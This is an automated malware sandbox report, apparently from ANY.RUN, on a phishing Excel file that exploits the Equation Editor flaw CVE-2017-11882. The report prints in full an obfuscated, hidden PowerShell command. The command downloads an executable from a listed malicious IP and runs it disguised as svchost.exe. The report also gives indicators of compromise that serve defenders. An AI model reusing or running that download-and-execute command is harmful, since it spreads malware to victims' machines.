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File name:

回覆 FW [Wiltrix] RFQ-171115 PB06-D.xlsx

Full analysis: https://app.any.run/tasks/bdbc3859-0576-41e8-b021-ed52863c09db
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: December 18, 2018, 08:26:57
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
encrypted
opendir
exploit
CVE-2017-11882
loader
Indicators:
MIME: application/encrypted
File info: CDFV2 Encrypted
MD5:

B4F23979DA74693BE5FFDDEE5FBBC781

SHA1:

5F28B9DA29A8E6EE1EB81A5B7C966715561D7594

SHA256:

780DDE35E0036784F9276C812E9DC800725FAEDFAC2203CA8CD8F4D05D357805

SSDEEP:

1536:2jD3iuNga7pNyL1zHu+kmL1zXbIrGnLq8dmO3FaUH:2/3iuNga77yL1y+LLpWGLqMmQaUH

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • svchost.exe (PID: 3964)
    • Suspicious connection from the Equation Editor

      • EQNEDT32.EXE (PID: 3268)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 3388)
    • Downloads executable files from IP

      • powershell.exe (PID: 3388)
    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 3268)
    • Executes PowerShell scripts

      • cmd.exe (PID: 2476)
  • SUSPICIOUS

    • Creates executable files which already exist in Windows

      • powershell.exe (PID: 3388)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3388)
    • Executes scripts

      • EQNEDT32.EXE (PID: 3268)
    • Creates files in the user directory

      • powershell.exe (PID: 3388)
    • Starts CMD.EXE for commands execution

      • WScript.exe (PID: 2932)
  • INFO

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 3488)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
37
Monitored processes
6
Malicious processes
3
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start excel.exe no specs eqnedt32.exe wscript.exe no specs cmd.exe no specs powershell.exe svchost.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3488"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Version:
14.0.6024.1000
3268"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
2932"C:\Windows\System32\WScript.exe" "C:\Users\Public\sh.vbe" C:\Windows\System32\WScript.exeEQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
2476"C:\Windows\system32\cmd.exe" "/C poWERSHEll.eXe -EX BypaSs -nOP -w hIDDEn -ec CQAJAAkAUwBlAHQALQBjAE8ATgB0AGUATgBUACAACQAgAC0AVgBhAAkACQAJACgACQAJAAkALgAoAEcAYwBNACAAbgBFAFcALQBPAEIASgAqACkACQAJAAkAbgBFAFQALgB3AEUAYgBjAEwASQBFAG4AVAAJACAAIAApAC4ARABPAFcAbgBMAG8AYQBEAGQAYQB0AEEAKAAJAAkAIAAdIGgAdAB0AHAAOgAvAC8AMgAzAC4AMgA0ADkALgAxADYAMQAuADEAMAAwAC8AZgByAGEAbgBrAG0ALwBzAGgALgBlAHgAZQAdIAkACQAgACkAIAAJACAALQBFAG4AIAAJACAAQgBZAFQAZQAJACAAIAAtAHAAQQBUAGgAIAAJAAkAHSAkAEUAbgBWADoAYQBwAHAAZABhAHQAYQBcAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAdICAACQAgADsAIAAJAAkAUwB0AEEAUgB0ACAACQAgAB0gJABFAG4AVgA6AEEAUABwAGQAYQB0AEEAXABzAHYAYwBoAG8AcwB0AC4AZQB4AGUAHSA= "C:\Windows\system32\cmd.exeWScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3388poWERSHEll.eXe -EX BypaSs -nOP -w hIDDEn -ec CQAJAAkAUwBlAHQALQBjAE8ATgB0AGUATgBUACAACQAgAC0AVgBhAAkACQAJACgACQAJAAkALgAoAEcAYwBNACAAbgBFAFcALQBPAEIASgAqACkACQAJAAkAbgBFAFQALgB3AEUAYgBjAEwASQBFAG4AVAAJACAAIAApAC4ARABPAFcAbgBMAG8AYQBEAGQAYQB0AEEAKAAJAAkAIAAdIGgAdAB0AHAAOgAvAC8AMgAzAC4AMgA0ADkALgAxADYAMQAuADEAMAAwAC8AZgByAGEAbgBrAG0ALwBzAGgALgBlAHgAZQAdIAkACQAgACkAIAAJACAALQBFAG4AIAAJACAAQgBZAFQAZQAJACAAIAAtAHAAQQBUAGgAIAAJAAkAHSAkAEUAbgBWADoAYQBwAHAAZABhAHQAYQBcAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAdICAACQAgADsAIAAJAAkAUwB0AEEAUgB0ACAACQAgAB0gJABFAG4AVgA6AEEAUABwAGQAYQB0AEEAXABzAHYAYwBoAG8AcwB0AC4AZQB4AGUAHSA= "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3964"C:\Users\admin\AppData\Roaming\svchost.exe" C:\Users\admin\AppData\Roaming\svchost.exepowershell.exe
User:
admin
Company:
GLOSSOPHOROUS
Integrity Level:
MEDIUM
Description:
SKANK
Version:
1.01.0001
Total events
1 191
Read events
1 070
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
2
Text files
0
Unknown types
2

Dropped files

PID
Process
Filename
Type
3488EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR68FB.tmp.cvr
MD5:
SHA256:
3388powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FV3KEM7DRZ7MWVUKIJY1.temp
MD5:
SHA256:
3388powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:6073B6FC66D2E68644893344F6904E4A
SHA256:0F2F61C8DFC3A20C7A5E5133C19BA1493441440E5477254273F28F6F668E64B3
3388powershell.exeC:\Users\admin\AppData\Roaming\svchost.exeexecutable
MD5:55E1AF42BD3F3F33FC53B3A0CB502F70
SHA256:D843AF82BB0B732A7F765F0FB2CDE1CF8E2D4CC5413212AED18A3AA8D4D19891
3388powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF247502.TMPbinary
MD5:6073B6FC66D2E68644893344F6904E4A
SHA256:0F2F61C8DFC3A20C7A5E5133C19BA1493441440E5477254273F28F6F668E64B3
3268EQNEDT32.EXEC:\Users\Public\sh.vbevbe
MD5:332979A2F8E24AFC9D6B425FD6EB54A2
SHA256:132BFC1C081250AF54A10E0732389D94FBA0074925C5DC760CB617CBBB6FDA1C
3268EQNEDT32.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R9ZEWH8D\sh[1].vbevbe
MD5:332979A2F8E24AFC9D6B425FD6EB54A2
SHA256:132BFC1C081250AF54A10E0732389D94FBA0074925C5DC760CB617CBBB6FDA1C
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
0
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3388
powershell.exe
GET
200
23.249.161.100:80
http://23.249.161.100/frankm/sh.exe
US
executable
621 Kb
malicious
3268
EQNEDT32.EXE
GET
200
23.249.161.100:80
http://23.249.161.100/frankm/sh.vbe
US
vbe
1.37 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3388
powershell.exe
23.249.161.100:80
ColoCrossing
US
malicious
3268
EQNEDT32.EXE
23.249.161.100:80
ColoCrossing
US
malicious

DNS requests

No data

Threats

PID
Process
Class
Message
3268
EQNEDT32.EXE
A Network Trojan was detected
ET INFO Microsoft Script Encoder Encoded File
3388
powershell.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
3388
powershell.exe
Potentially Bad Traffic
ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile
3388
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3388
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3388
powershell.exe
Potentially Bad Traffic
ET INFO SUSPICIOUS Dotted Quad Host MZ Response
No debug info